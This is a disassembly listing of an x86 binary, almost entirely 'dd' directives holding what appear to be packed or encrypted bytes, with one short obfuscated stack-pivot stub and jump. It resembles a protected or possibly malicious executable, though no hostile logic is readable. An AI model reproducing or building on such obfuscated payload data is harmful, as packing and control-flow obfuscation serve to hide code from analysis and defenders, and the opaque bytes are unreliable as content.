		dd 90EF2B1Dh, 0E13EFACCh, 2D4A4666h, 6A971335h,	12342AB7h
		dd 0E3E57996h, 0AD97C827h, 785E1671h, 2331DEBCh, 92DAB789h
		dd 816078FCh, 470AE1C7h, 0A8EBA258h, 71B8AADDh,	0BB10362Eh
		dd 154105BEh, 7D96F259h, 0BE471877h, 344AA187h,	7B841198h
		dd 46000002h, 0ADB7E271h, 0FB4085ABh, 0E56D1FC9h, 7EE094EBh
		dd 67F2BF8Fh, 9F0E2828h, 86D11E6Eh, 27F6071Bh, 485D8F8h
		dd 9D66FF0Dh, 42E98AC6h, 3F1CB436h, 3551C96Dh, 0A4FDEEFAh
		dd 92E261A7h, 0E1BDAB8Eh, 39E308DFh, 8695E27Bh,	0EC7B97EAh
		dd 0FBC5B1C0h, 1542DC8Ch, 9E2E476h, 50DAE671h, 2594F9D8h
		dd 3421F435h, 0C79E7CC4h, 54A21E54h, 1FB07492h,	0FE1AB697h
		dd 0BBF92251h, 0F87A1273h, 0F78B6062h, 10BF525Bh, 4418ED75h
		dd 7505E602h, 3FFB1CB4h, 100E8AC8h, 0AE88C8C7h,	0A7057221h
		dd 0F74064DFh, 9E0F47F6h, 0AB8DC720h, 1DE85219h, 0C980534Ah
		dd 9B1h, 0A86460FDh, 0F834084Fh, 0B87B99Fh, 575375ECh
		dd 0E01C2638h, 2139A295h, 0D684E31Fh, 82D730ECh, 232542BEh
		dd 3CD38905h, 0DAB89E10h, 5D75F392h, 7DEADA81h,	8801271Eh
		dd 0FBF848F5h, 0BA4A406Ch, 0DB478ADCh, 7B4D118Ch, 0C8FA60BFh
		dd 0ED0272E3h, 0CE013762h, 0EC5B6E41h, 25A92EC0h, 0A33F236Dh
		dd 48D9E76Ah, 27730897h, 6AF1AC3Bh, 2982C299h, 816F511h
		dd 4B138E81h, 878C3E4Ah, 59C16748h, 0B4A6C13Dh,	62E23992h
		dd 9255DC97h, 7A96DF87h, 5DD30DC8h, 60EB3850h, 915h, 480C499h
		dd 545074EBh, 0E723253Bh, 33EFC988h, 7CB882D4h,	8DD54E31h
		dd 3A207FBBh, 0EE738C08h, 87C1DEDAh, 98B765A1h,	0DAB9E28Ch
		dd 0B9919792h, 54D6E271h, 2994EBC0h, 5C4AF831h,	94EBC0DAh
		dd 75A3679Eh, 0D07F74C4h, 0C6FE35C4h, 99C6588Ah, 0F1CB8F0Ah
		dd 8729371Ah, 0FA6D3F1Eh, 0BEC1C864h, 0E168A49Ah, 94F35C91h
		dd 22243AC3h, 0B615B1C9h, 0C2EE61A8h, 730DD105h, 0CAC91608h
		dd 0E4F09F8Ah, 674CED4Ah, 0BB35233Fh, 0CE674CEDh, 0ECAB3450h
		dd 0E6785375h, 241C7B27h, 0BF0FF002h, 0F5265059h, 87052h
		dd 251F3C00h, 0F5CB8EE9h, 447ADE39h, 10342F48h,	0DDE77B94h
		dd 78E5D421h, 0C720DCE6h, 1671AD97h, 64837F41h,	0CCECAECh
		dd 0B95FD1FFh, 363292DAh, 0C062F012h, 0D19394EBh, 312D68F7h
		dd 63AAB417h, 313E8EBFh, 0DB6C1BA6h, 0FAB7F9FAh, 0AD35D6Bh
		dd 0B8A694EBh, 0F6E3ED1Ch, 998AC658h, 263B5681h, 0EA79E622h
		dd 3EBB2CDEh, 0F039216Dh, 99A7A8B1h, 6D3EBB17h,	0BB70FA06h
		dd 15056D3Eh, 0CF1CB8A6h, 7EC84h, 0E2717200h, 0EBC054D6h
		dd 98ACB594h, 52CC2F33h, 265AAA5Bh, 0EBC0901Ah,	0D975E594h
		dd 0D6E3628Eh, 0F46A8AC6h, 362BB917h, 0C6616D3Fh, 0D0AF89CBh
		dd 0CB74B58Fh, 0CF9FCBF7h, 5E3D776Bh, 59E1CAFCh, 109DB50h
		dd 81070000h, 4807E4D8h, 1A8B305Dh, 92C6D0ECh, 0A7C35FACh
		dd 40822C38h, 6BF794EBh, 0C5FF5FA2h, 0FFD99BE6h, 0B488D12Ch
		dd 63A1F78h, 294EB8A5h,	40C092BEh, 352594EBh, 5074EFAAh
		dd 5726E77Bh, 0E6CCB0A5h, 0C4534F71h, 116959D9h, 23EAA641h
		dd 6A417BDCh, 92B4A8E7h, 0E8E82139h, 94EB8052h,	8F23E71Eh
		dd 2D3AF6CAh, 0D0201A7Eh, 5950CDC5h, 0CE195EA8h, 0EB4700A2h
		dd 0F6D54594h, 96A2B3ABh, 94EB4714h, 0EAC62269h, 5598E884h
		dd 6619D39h, 42997254h,	0D5C72402h, 4565C20h, 0B5A9C6C2h
		dd 801A94A0h, 0F36F94EBh, 47CC2984h, 0F511FC2Ch, 98D52516h
		dd 0D7C214Fh, 4C938AC6h, 41D93214h, 0CC8EE925h,	0DA2411FAh
		dd 0E8A7329Dh, 0E27C4F69h, 110FA52Bh, 0DC426D3Eh, 297F0473h
		dd 0B3E6E2D5h, 44F9AB7Ah, 0B4AFDA80h, 0C5C08AAFh, 0D515059h
		dd 0BAA0FF3Bh, 0C2322388h, 971622ADh, 0EE73134Fh, 35BB470h
		dd 0B5AAC5C1h, 6F831793h, 7785D21Fh, 8AC6EFC6h,	272A8199h
		dd 2FE28C98h, 8B976D3Fh, 0B758FF02h, 35C6B568h,	95A32C58h
		dd 6D3F511Bh, 5854F06Eh, 15236F44h, 92AC7F49h, 0AABAE976h
		dd 0D96598D5h, 0C78A1990h, 7FAE88C8h, 0EBD3C351h, 94688994h
		dd 0FA9FA3EEh, 8144ABFh, 69D6193Fh, 0DFB87657h,	0D565467Ah
		dd 27B9B5D4h, 296D7D97h, 69000000h, 1EADA81h, 0EBC021CBh
		dd 0AE88C894h, 645AFE5Dh, 9C609587h, 5A2ED7D5h,	0C33F0154h
		dd 0EBFB9BD5h, 9A22B194h, 14FFFFFFh, 0FDE1C781h, 271D50Dh
		dd 0B27A8820h, 0F96AA3B4h, 68F7608Dh, 0EBE8D25Ch, 0E478A794h
		dd 434746E2h, 9C463522h, 39737663h, 0FE511D59h,	0E74A56B1h
		dd 271A026h, 53EA8FD0h,	6C6BA2B1h, 7C970212h, 34AAh, 0F9F0BF00h
		dd 0DE5AD7CCh, 1781FEE8h, 0EA263328h, 236FA723h, 127102D6h
		dd 0A2A6BB4Eh, 7C888706h, 94EBC0F2h, 71C79B87h,	0EADA8169h
		dd 758B4FF6h, 2Fh, 0D6236F6Dh, 52127102h, 0F9AB574h, 3335D090h
		dd 8030F915h, 94EBC0EEh, 0FACC900Fh, 892E5D33h,	5694CB26h
		dd 715105A1h, 0EADA8169h, 818B4FF6h, 0CA06E5DBh, 94EBC020h
		dd 59B292C9h, 86654302h, 79B6F96h, 4B1D6C55h, 8208A47Eh
		dd 5D03A79Bh, 4351FC6Bh, 94EBE7A9h, 974B42DCh, 0EBF7F209h
		dd 318DD694h, 75FFFFF4h, 2EEADA81h, 35A2CF3Fh, 0C6D69A27h
		dd 7B6F58Ah, 39D065AAh,	0C20EDD79h, 6D3FA534h, 0D703C77Eh
		dd 776B429Bh, 0C43h, 12718F00h,	9EB57452h, 1, 0D21F6F78h
		dd 0D99BF685h, 9B122CFFh, 0C6E448F5h, 0D4031F8Ah, 6D9CA0B9h
		dd 281C439Eh, 249FE2ECh, 0EF9A6D3Fh, 0A2768E58h, 2F72BB9Eh
		dd 7D9A162Ah, 440BE0E4h, 0D03A9A59h, 0B1787A8Dh, 0EE577FA1h
		dd 0F9C3941Ah, 0FC77123Dh, 0FC126FD8h, 70D7E530h, 0C8EE66B9h
		dd 6B5D009Fh, 0C282DDA2h, 0D34C09E4h, 9FB9BBEFh, 0DF96F560h
		dd 9D0C12F9h, 0D56DF9F9h, 0FA117D16h, 0BD000000h, 0CD0256Fh
		dd 784E1271h, 0E7729EB1h, 0A394EBC0h, 6971B3A7h, 81709F67h
		dd 0C72222C7h, 3D5DAE92h, 802A36A1h, 0F594EBC0h, 0D15C965h
		dd 0A1FB535Eh, 0BCA69F7Bh, 236F494Dh, 0BE2202D6h, 96D57DF9h
		dd 65017Ch, 5B460000h, 7483C5A3h, 0A228E1EBh, 4C15236Fh
		dd 4D8AF5ABh, 8F2BDB2Ah, 0D286223Ch, 7E481271h,	0FA74808Fh
		dd 0E394EBC0h, 0F3D88DB4h, 8BEC5B6Dh, 90139A16h, 0A6B2418Eh
		dd 94EBED04h, 0A228E179h, 0B1A7E271h, 81781E8Fh, 4FF6EADAh
		dd 0C5677500h, 0B894EBC0h, 716367A6h, 0B37A4C12h, 4E98h
		dd 0DE96F500h, 719531F8h, 0C054D6E2h, 312994EBh, 0FEFB47F8h
		dd 0C96371DAh, 9194EBC0h, 0F2D9EF72h, 710CD06Ch, 52127169h
		dd 0AC8B9774h, 0A1594AEh, 716D7157h, 3E4A4F12h,	94EBC08Ch
		dd 923D59C1h, 0EBC0E486h, 8819994h, 61FD9837h, 7520A667h
		dd 0FFFFFEFDh, 0E1C7816Dh, 9BBDB70Ah, 519EEE1Fh, 0DE67FA06h
		dd 0E33E8AC6h, 0C06A767Fh, 0B56D3F3Eh
		dd 9CA209A5h, 3E8B2533h, 60FE6D3Fh, 5BE9E7C4h, 116D3F3Eh
		dd 84EE1CE0h, 38776BDBh, 4Eh, 0DAEC7211h, 1F6FB7D3h, 271685D2h
		dd 2E9A05D9h, 416FE22Bh, 8AC6AC28h, 33154C4Bh, 0A44746D8h
		dd 0ED7B51BAh, 1C6D3EF0h, 59A40739h, 26EC3F01h,	60B43B0Fh
		dd 0BA49EDD1h, 3EF01CAEh, 526AED6Dh, 9138F169h,	776C09D5h
		dd 10A89h, 0C7815500h, 0A00B3D22h, 0EE3D1B5Dh, 65B3450h
		dd 0F645A6C2h, 2E8D5E60h, 0C8C71036h, 0C159B294h, 6EE635C8h
		dd 60424C48h, 0F994EBDCh, 425D597Fh, 2CBB2402h,	143C6E00h
		dd 0CF618F6Bh, 826B143Bh, 40005F9Ch, 30C3CA66h,	0DC706E1Dh
		dd 16348752h, 0D9166697h, 1C5F628Eh, 0EB367539h, 0F5314D77h
		dd 222B2F6Ah, 3F9C9416h, 0D571E96Dh, 0B0A168F6h, 19A43340h
		dd 3F9C610Bh, 2D0A146Dh, 759C0D2Bh, 0D5CBD67h, 67E1BC73h
		dd 0B5A54841h, 51C77F2Ah, 7324E287h, 9D0897BAh,	68304032h
		dd 0ED34F536h, 0C8575375h, 7CAD8BCDh, 92C83D25h, 718A7963h
		dd 3A5617C5h, 87D149Eh,	9340505Ah, 240B8h, 0D5EF6C00h
		dd 0A59BBED9h, 744A0E69h, 0C0E45FB8h, 8DB7ABC4h, 0A835E411h
		dd 0F7108CB6h, 46A15D67h, 94F32F11h, 5C3EFADCh,	0BF0FA1CFh
		dd 0C64292DAh, 0E7D981E2h, 7CD20D78h, 4DABE0B0h, 8774F602h
		dd 110994EBh, 8BCD2A98h, 6F6D71ADh, 44F6011Fh, 2289B3A4h
		dd 7AA3531Ch, 7D8BD470h, 8AC66074h, 0D372867h, 97C7A0BEh
		dd 0C9C05EADh, 78D7342Ah, 0B9D9E90Dh, 0CD3C69A3h, 3E5B35C3h
		dd 2C67F6Dh, 2606415Ch,	5574B5C5h, 776C7519h, 0B8CDh, 0EB178200h
		dd 7CA1C306h, 0A7E18B99h, 8A946D3Eh, 811BBF6Eh,	42222C7h
		dd 0D07F9BA7h, 129BADB5h, 201A3C83h, 541984CBh,	86CC7E13h
		dd 7A3C5455h, 0E394EBA2h, 89B3A4h, 0A5614701h, 0DF2C0A4Ah
		dd 86D11E6Eh, 0C6F6677Ah, 0E4203E8Ah, 471B1565h, 0A3C227Dh
		dd 425361EEh, 25730C42h, 6BEFAA35h, 243A5551h, 96D0BCF1h
		dd 0D470D0A1h, 5937CDAEh, 0E46FBC50h, 139h, 20DCE875h
		dd 70AC90C7h, 837F4117h, 0CFCBED64h, 1894AEB0h,	0A9B12AEDh
		dd 5EFC1B97h, 0A4FA864h, 0DB9DFA36h, 0B45B01FDh, 0DA4006A8h
		dd 0E5FD7B92h, 0BB4E1271h, 89009CB8h, 22DEE076h, 69A583C5h
		dd 0D6E27175h, 94EBC054h, 0A9F83129h, 0DF2289AFh, 0C6474365h
		dd 0C2EE7976h, 8AC6FE37h, 897C05Eh, 1BF0D48Dh, 0F97B8607h
		dd 910570DFh, 2469D1C7h, 0E807FB32h, 0F07D4E68h, 0B9E47380h
		dd 231DA52Dh, 32DDCC2Ch, 8DA7826h, 7F859573h, 505DEFA6h
		dd 0A2B99043h, 0A000000h, 5CBB7751h, 0ACCBC7F9h, 0FD1A96A8h
		dd 49A6627Ah, 86F32F11h, 2E1046D3h, 0FFC995F2h,	4973E403h
		dd 1432324Dh, 1F2DC298h, 92DA416Dh, 6F4C64E0h, 0F685D21Fh
		dd 2A81C39Bh, 1F393B14h, 557BB2CCh, 8ADCBB23h, 0ACF3D846h
		dd 91692B4h, 2D32D78Ah,	122CFF1Bh, 0EACC849Bh, 0FE3ECB01h
		dd 0C27BE28Bh, 8EA8A8FEh, 5573F512h, 0C282B76h,	7448CDBFh
		dd 0B720063Eh, 8A99BCC8h, 8706F177h, 93A14CDBh,	17CE4B19h
		dd 0E43BF26Ch, 7E1D4A6Ch, 740AE1C7h, 0A6FE6B5h,	4B000000h
		dd 7A4C1271h, 0DE008991h, 0E8DC81FAh, 0A284BC03h, 5B6DF249h
		dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh
		dd 33154897h, 895708D8h, 0A7BB53E7h, 816A514Fh,	281527C3h
		dd 0CAF3814Dh, 1B77964h, 0EF835BDFh, 243C8704h,	64B8685Ch
		dd 3C890000h, 601F6824h, 2C890000h, 4B685524h, 8B07F177h
		dd 0C481242Ch, 4, 43C5F581h, 0E5C17A20h, 86F58108h, 89D705E9h
		dd 0EC685DEFh, 8900006Dh, 4832424h, 815D0424h, 4ECh, 243C8900h
		dd 0FF08458Fh, 835D2434h, 34FF04C4h, 0C4835F24h, 0FCEAE904h
		dd 0D9B7FFF9h, 0DF09EA93h, 0B8EE56AFh, 6318252h, 0C650C503h
		dd 2B332D85h, 25684706h, 0FFCF3817h, 2B0B1DB5h,	25858D06h
		dd 0FF062B3Ch, 8DD88BD0h, 2B220185h, 4685006h, 0FF000001h
		dd 2D85C6D3h, 53062B33h, 7F8BF68h, 1DB5FF83h, 8D062B0Bh
		dd 2B3C2585h, 89D0FF06h, 31656085h, 8DBD8306h, 62B32h
		dd 0B840Fh, 9D8B0000h, 62B2A05h, 5E9h, 0BB00h, 680000h
		dd 8D000001h, 316564B5h, 0FF535606h, 2B1F6195h,	64B58D06h
		dd 3063165h, 1E9F0h, 804E0000h,	840F5C3Eh, 9, 0F2F3E80h
		dd 0FFFFED85h, 6C6FFh, 6564858Dh, 0FF500631h, 31656095h
		dd 0E0FF5806h, 1E37B5CEh, 144442A1h, 0C39027Eh,	4428A79h
		dd 3E829B9Fh, 33E6D066h, 7AA5DB70h, 1FA02CA5h, 7529BAB2h
		dd 1DB19F90h, 13AEC42Dh, 429C363h, 1740E96Bh, 78FB0E94h
		dd 21FFEB9Eh, 79F67221h, 679A609Ch, 6ECB1499h, 25C5A1h
		dd 4C58ABD7h, 9F02678h,	84B28D8Dh, 9D890631h, 62B3431h
		dd 0EE18D89h, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0F6089C3h, 958BC8BFh, 62B08D1h
		dd 0E185C761h, 88062B21h, 89000071h, 2B155195h,	0E585C706h
		dd 62B2Bh, 0F000000h, 1180h, 9E85600h, 80000000h, 5B53FFC9h
		dd 883A64E2h, 0B5FF5B5Bh, 62B0ECDh, 99BD8B60h, 0E8062B07h
		dd 14h,	0A660983h, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h
		dd 11CD958Bh, 615E062Bh, 273195FFh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AC3406C3h
		dd 24B86053h, 61272543h, 0B58D895Bh, 6A062B11h,	4595FF00h
		dd 8B062B29h, 875AEBC0h, 398CF701h, 7E30CA14h, 79DBE17Ah
		dd 0ADE21A12h, 3BC0955Fh, 2D146ACDh, 0BF53E3DFh, 0A578145h
		dd 0FE67542Bh, 0CD0D16B5h, 0DA54E0FCh, 453F315Ah, 9BCB0501h
		dd 3D7D6D43h, 45C2EE14h, 2238E396h, 61E1405Dh, 92111266h
		dd 9B70DC91h, 0F6B8A5B6h, 6F2FC5B3h, 1BD3808Eh,	0DE885h
		dd 0A22B0000h, 5408F7EDh, 0B9F04862h, 8BE72521h, 2B19DD85h
		dd 8B0F5906h, 0Ch, 68A0Fh, 0D2810000h, 0CF5ACCBh, 5FD0C181h
		dd 8D890000h, 62B2EEDh,	977A9FBEh, 0D7EE814Eh, 0BB4E9762h
		dd 7E05BA36h, 0CEB031FFh, 0F9E8805Fh, 0C6CDEF81h, 0BF0F34EFh
		dd 7F781DBh, 6656DA87h,	0F781C18Bh, 62108967h, 0BD293989h
		dd 62B1861h, 8B04E983h,	2B15819Dh, 1EE8306h, 1D850Fh, 8D890000h
		dd 62B1D45h, 2DE9h, 0BF3E1700h,	0AE858BC6h, 3A5E444Ah
		dd 63B42AEAh, 0E904A260h, 5, 4341A007h,	0FF9AE993h, 2D96FFFFh
		dd 9DC549D9h, 0B5632F1h, 5E8E4A4h, 0EC000000h, 0FC8A098Fh
		dd 15A5BD8Bh, 0F5E062Bh, 0C681C2B7h, 6B76h, 93F3C8B8h
		dd 686Eh, 0B4B30000h, 0E881665Ah, 0C8B6BBBh, 59858B16h
		dd 81062B0Ah, 0DDEB0BC1h, 0BCD48067h, 6F15C181h, 9D895DF1h
		dd 62B2CC9h, 8BD3E981h,	8D0F2374h, 6, 170D9D03h, 8151062Bh
		dd 0B5B413EBh, 16048F78h, 0DF46E081h, 0B70F2DEDh, 81EA81C2h
		dd 892E506Bh, 2B203185h, 7DC28106h, 562E506Bh, 89BD2B51h
		dd 5B062B1Bh, 50FA815Fh, 0FFFFF95h, 1F85h, 68D0F00h, 89000000h
		dd 2B0BA595h, 27E906h, 0AA6B0000h, 0A0CF9E3Ah, 85AD4039h
		dd 0DA135710h, 9C547ABBh, 0FF6CE928h, 0D6D4FFFFh, 13C0FD84h
		dd 212B4D6Dh, 0D76D4DA7h, 10E894h, 4A380000h, 0E658922Eh
		dd 27D6C919h, 0DA43927Bh, 0DE9385Fh, 29000000h,	428C2A12h
		dd 9C8071DDh, 4BD0CFCEh
		dd 0DFF4805Bh, 5D90C381h, 8E90000h, 0C4000000h,	823B5FD3h
		dd 689BDEE9h, 1738h, 0FEBF0F59h, 0BD8933FFh, 62B1581h
		dd 0BD9D895Eh, 81062B2Bh, 834386F6h, 7E830h, 5EFD0000h
		dd 0D5EB24B1h, 815AF8EDh, 0FA212AC6h, 0FE900h, 0EAEA0000h
		dd 0BBEAB57Ah, 5CE7FB9Ch, 22E1A35Ch, 0B8F6816Ch, 0E96751CFh
		dd 0Eh,	467967B5h, 7434EE6Eh, 0CA2986Dh, 8956D1A8h, 2B01A58Dh
		dd 66038F06h, 833F17BFh, 4B4B02EBh, 91850F49h, 66FFFFFFh
		dd 8D8DF88Bh, 63187FDh,	11E9h, 95455B00h, 22DCDBFEh, 54A250D9h
		dd 5609131Ch, 8D89C190h, 62B0EE1h, 8E18533h, 85C7062Bh
		dd 62B21E1h, 733Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 88C35545h, 0E585C7F8h, 62B2Bh, 29000000h
		dd 2B0FB99Dh, 0FDB5FF06h, 6A062B0Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9FB2C351h
		dd 60F7B539h, 6011BD36h, 0CD88CBB9h, 95FF6150h,	62B2731h
		dd 0C1DB8160h, 8B1C3680h, 2B07D195h, 6A6106h, 294595FFh
		dd 0C08B062Bh, 245828EBh, 4E2D1D60h, 931BB17Fh,	0BDC99E2Ch
		dd 0E3FA831Ah, 0F19EE43Ch, 5C4EB8CDh, 0F3695375h, 0E784709Fh
		dd 0B1CAF71Fh, 3EE9BDF8h, 78000000h, 93792EECh,	9DE61D8Ch
		dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h,	0B98003B2h
		dd 0FEh, 7 dup(0)
		dd 668E900h, 0CB680000h, 0E9063189h, 0FFF9F73Ch, 318A9368h
		dd 0F732E906h, 1D68FFF9h, 0E906318Bh, 0FFF9F728h, 318BDB68h
		dd 0F71EE906h, 8F68FFF9h, 0E906318Ch, 0FFF9F714h, 318D6E68h
		dd 0F70AE906h, 2E2FFFF9h, 0DA819E1Ah, 8BD12EEAh, 271E79B5h
		dd 0F46A8501h, 0F4ABD6D2h, 0D1CDF76Bh, 66A2A4B6h, 0B06C5009h
		dd 0FF3B1D57h, 48E20E1Dh, 3D92DA48h, 30752307h,	0E6000000h
		dd 0C0A34D5Bh, 48D694EBh, 0C7814541h, 58470AE1h, 5E5FE8F1h
		dd 0BBC6C7FAh, 75639FB9h, 94EB72E7h, 0D07F4116h, 72B53745h
		dd 56C894EBh, 6FF7EB57h, 7785D21Fh, 8AC6E34Eh, 0BB86AAE1h
		dd 6AA8ABE4h, 41EFFDCEh, 0B6D3F90h, 7EE816EAh, 26776B29h
		dd 234h, 4FBA4EA0h, 67F80D50h, 54F08E5Dh, 3122EB77h, 0D1EB6FC1h
		dd 9FC864FAh, 0C68DD471h, 0E278178Ah, 0B6770BE0h, 20AC6BF7h
		dd 0B10EB5E1h, 0A6430580h, 1D3D8EB0h, 49C72A81h, 96B7191Bh
		dd 5CCD3C58h, 0CD5887ECh, 73BA8CCEh, 608D685Dh,	0C8233FBFh
		dd 99C62B9Bh, 360F2CEAh, 0C6D25650h, 0BB904924h, 0CAA5C159h
		dd 0D77AB395h, 0A1D54EC9h, 72DD7DA5h, 3C485D17h, 0BDA6C5B2h
		dd 5BFC5BC7h, 5EC9C561h, 0E32A1E43h, 7082A49Ch,	1AB407A3h
		dd 56CE8152h, 4A000004h, 9CFB3711h, 0EC0B87B9h,	3D5A5668h
		dd 89E6223Ah, 0C633EFD1h, 0EED08613h, 0BF89D532h, 9332443h
		dd 0D4F2728Dh, 0DFED02D8h, 92DA492Dh, 810C2420h, 1B76E1C7h
		dd 54AB0044h, 4CD23903h, 392AF930h, 2D3BA4C9h, 8AC6EB64h
		dd 1C0B879Bh, 0AB54A791h, 9415DFA8h, 0ED5DAE42h, 0D67D7853h
		dd 0C35FBDBEh, 8ACD8894h, 0DE407312h, 0D380B321h, 65D5CEE1h
		dd 0DA832D3Bh, 68F6CFE0h, 407583CCh, 8BD1CDF9h,	0CA4490Ch
		dd 3CB16241h, 93AF7C98h, 24879B1Ah, 3DAAC737h, 5F8F42Fh
		dd 8DC41BDEh, 0C5C00FABh, 0FE69A583h, 0A8B4A1A3h, 0DA5AE106h
		dd 1C4BE77Bh, 5AE17EF0h, 9E0F13DAh, 5DE7C183h, 0F54FEBC8h
		dd 8EDF76A5h, 12000003h, 64837F49h, 0B4D3CFF1h,	5629EA0h
		dd 51AE6A42h, 8EFB3709h, 36084ECBh, 87C19DFAh, 516BEC0Bh
		dd 1C3A3A55h, 7153AE0h,	92DA4A65h, 81441C18h, 590AE1C7h
		dd 4D5B84E9h, 8AC6F2ACh, 0CA43BFA3h, 0B03A467Ah, 0C56D3F12h
		dd 2CFFC196h, 0D5AF612h, 98A94FFh, 0F867FB73h, 1A2C2E6Dh
		dd 0F2D48C93h, 12342665h, 8935B7C5h, 0D6486748h, 540C6BD7h
		dd 5CAC9972h, 0D5BCC817h, 0E87965AEh, 0DE43CC76h, 19CA5688h
		dd 30436h, 85BF9C00h, 556BEE09h, 241A3E59h, 0F0D48FE8h
		dd 0BD87DB34h, 0D8453441h, 2740BC86h, 76910D37h, 0C423DFE1h
		dd 0AC6EAA8Ch, 4BFF719Fh, 969292DAh, 0E1C781B2h, 84E9590Ah
		dd 4AC1CC5Bh, 183400D5h, 0FD6868A1h, 908AC6BCh,	7201128Eh
		dd 0F1000001h, 0FC4CBF4Eh, 0F95C68F7h, 8C8AC68Dh, 4EEDB441h
		dd 4A95B68Ch, 3F828C3Eh, 3D59C16Dh, 5E62F792h, 96E4F0AFh
		dd 8963FC8Bh, 0FCAB3439h, 7BA0BA4h, 0D877B6CCh,	516059CCh
		dd 19F26C8Eh, 4897DC2Ch, 0B634DB3Ch, 0E770EE74h, 1E8FA9A8h
		dd 39DC94F3h, 59862222h, 0C526203Ah, 0FDCE276h,	68D6D773h
		dd 0C173550Fh, 4BC32950h, 463F16C5h, 5A000002h,	0ACCBC701h
		dd 0FC1B97A9h, 4DAA6658h, 99F6320Ah, 0F603FFC1h, 0FEC09603h
		dd 4F79E502h, 19233453h, 0E4C2829Dh, 0CFDD7228h, 92DA4B3Dh
		dd 81FCD450h, 590AE1C7h, 4D5B84E9h, 8AC6EB44h, 0E2E47817h
		dd 0DAD6482Bh, 108F8272h, 89917A4Ch, 529FEF00h,	665EF705h
		dd 69F17312h, 80ED22AEh, 2292F024h, 8F7682CDh, 0A6EE012Ah
		dd 51FC53B8h, 7234B6C2h, 0D149CA77h, 77726507h,	870618CAh
		dd 9EC92696h, 46EE9172h, 3DAAB4D4h, 0E30D214Eh,	8D7C3FCFh
		dd 0A84D0782h, 0BB7793B5h, 2711E45Ch, 0CAA92B25h, 1B2D3512h
		dd 0E012AEB0h, 0EB92133Bh, 9206499Ah, 0E000001h, 60BF7B4Dh
		dd 0B0CFCBFDh, 11E9AACh, 4DAA6646h, 8AF73315h, 32144AD7h
		dd 83C599F6h, 4D77E807h, 183E3651h, 3113E9Ch, 92DA4C69h
		dd 8140181Ch, 590AE1C7h, 4D5B84E9h, 8AC6F2ACh, 0D443BFA3h
		dd 12B13B49h, 5AC46D3Fh, 0A96064FDh, 0D6E2712Dh, 94EBC054h
		dd 47F83129h, 5F6DFAF7h, 8ADD586Eh, 26203A61h, 0B801ABB9h
		dd 0EA746D25h, 0DE82014Eh, 8E7F03E8h, 0C399F483h, 89BFA2FDh
		dd 92ED1C22h, 2C6BF4D2h, 0A5B51628h, 0E761BE64h, 65FB96C1h
		dd 37F68863h, 6A87F764h, 208CEFFDh, 0ACE37313h,	1A8AC2B4h
		dd 0DCE6784Ah, 0DCBB2440h, 29464264h, 0B1A2092Fh, 14A32C41h
		dd 0DDEFE79h, 3695ABAEh, 731D8C28h, 795AE606h, 74F60229h
		dd 9799B26h, 0DE4FF511h, 6B569026h, 0B391B8h, 6EEF0000h
		dd 1A415E5Ah, 0CB91EE2Ah, 67DE39F5h, 342A4541h,	0B46B9612h
		dd 910D372Bh, 26E2E476h, 70AC90C9h, 0BF7B5D17h,	88224EDDh
		dd 0FD92DA4Dh, 1F6F6347h, 0D87785D2h, 778ADD58h, 0BD0E2828h
		dd 57AA019Dh, 1AC3B1Dh,	25B879F3h, 9B120C6Dh, 45D3827h
		dd 5657EBC0h, 0DC2F094Bh, 74521271h, 0C5401BB5h, 84BEA04h
		dd 0DA80DF2Ch, 132803E8h, 0D069B82Fh, 0A88EC6ECh, 0C7E1603Fh
		dd 45FF18C6h, 0AD8ABCA0h, 957692AAh, 0C2290F46h, 53572BD2h
		dd 9CFB3711h, 262982A4h, 19h, 5DAFEC9Bh, 0AA95B3B5h, 4B4244B3h
		dd 62F15E4Fh, 0EBC0D456h, 78B1A994h, 0E8DC8152h, 0A284BC03h
		dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh,	0BE9ED924h
		dd 744A0E6Dh, 33154897h, 895708D8h, 4C781E7h, 83000000h
		dd 3C8704EFh, 34895C24h, 20276824h, 0C890000h, 6DC66824h
		dd 2C890000h, 67BA5224h, 8168C873h, 6519F1C2h, 86CA8139h
		dd 812EC37Ch, 0C512ACC2h, 48E28112h, 8161760Bh,	0FD88A6C2h
		dd 0D58955C4h, 5A5DE989h, 242C8B54h, 5104C483h,	4E243481h
		dd 8F7E774Bh, 0B8500845h, 8, 3081E801h,	7E774B4Eh, 2434FF58h
		dd 4C4815Dh, 8B000000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 26h
		dd 46B813B2h, 306318Eh,	1EE0FFC5h, 866D454h, 522F1DBh
		dd 1C247454h, 0D24B7434h, 0D57F78DFh, 0CE0E5CBAh, 66648756h
		dd 710E1D85h, 0FB06F3DAh, 0BA214217h, 0D346FFF0h, 0F55A2EF4h
		dd 0B11CF327h, 3164B349h, 0C401AF9Dh, 0E92DB4E8h, 981779ECh
		dd 9E1F8BCCh, 5D20F69Fh, 2476360Eh, 0D7683614h,	0C57EE4F2h
		dd 1B3DD19Bh, 4744E373h, 3A52E9EDh, 0E862AC94h,	0Fh, 652A458Eh
		dd 4F930C5Bh, 0D54F7791h, 0F56FB759h, 0D281665Fh, 0C78127F7h
		dd 7081h, 14E8h, 1F4BF800h, 8F2495CBh, 1D95DA31h, 24036B30h
		dd 0B58A086Dh, 0B95EFCFAh, 0
		dd 0FFD6BF0Fh, 66603934h, 3C54E081h, 61C0C080h,	0D8BF0F58h
		dd 3B1CC081h, 0B70F4340h, 99C081D6h, 0E9678194h, 8, 219E946Bh
		dd 0D7A1999Ch, 4521F081h, 0D78B49B9h, 660F0489h, 47BBF38Bh
		dd 817989A9h, 3628E6E9h, 0C8D0F3Ch, 0E9000000h,	7, 6D9EA873h
		dd 818A83EAh, 3628E2C1h, 0F981F93Ch, 0FFFF9054h, 15850Fh
		dd 0E9F80000h, 29h, 7C90FBD7h, 0B3847CEAh, 76B90F53h, 66CDC3FCh
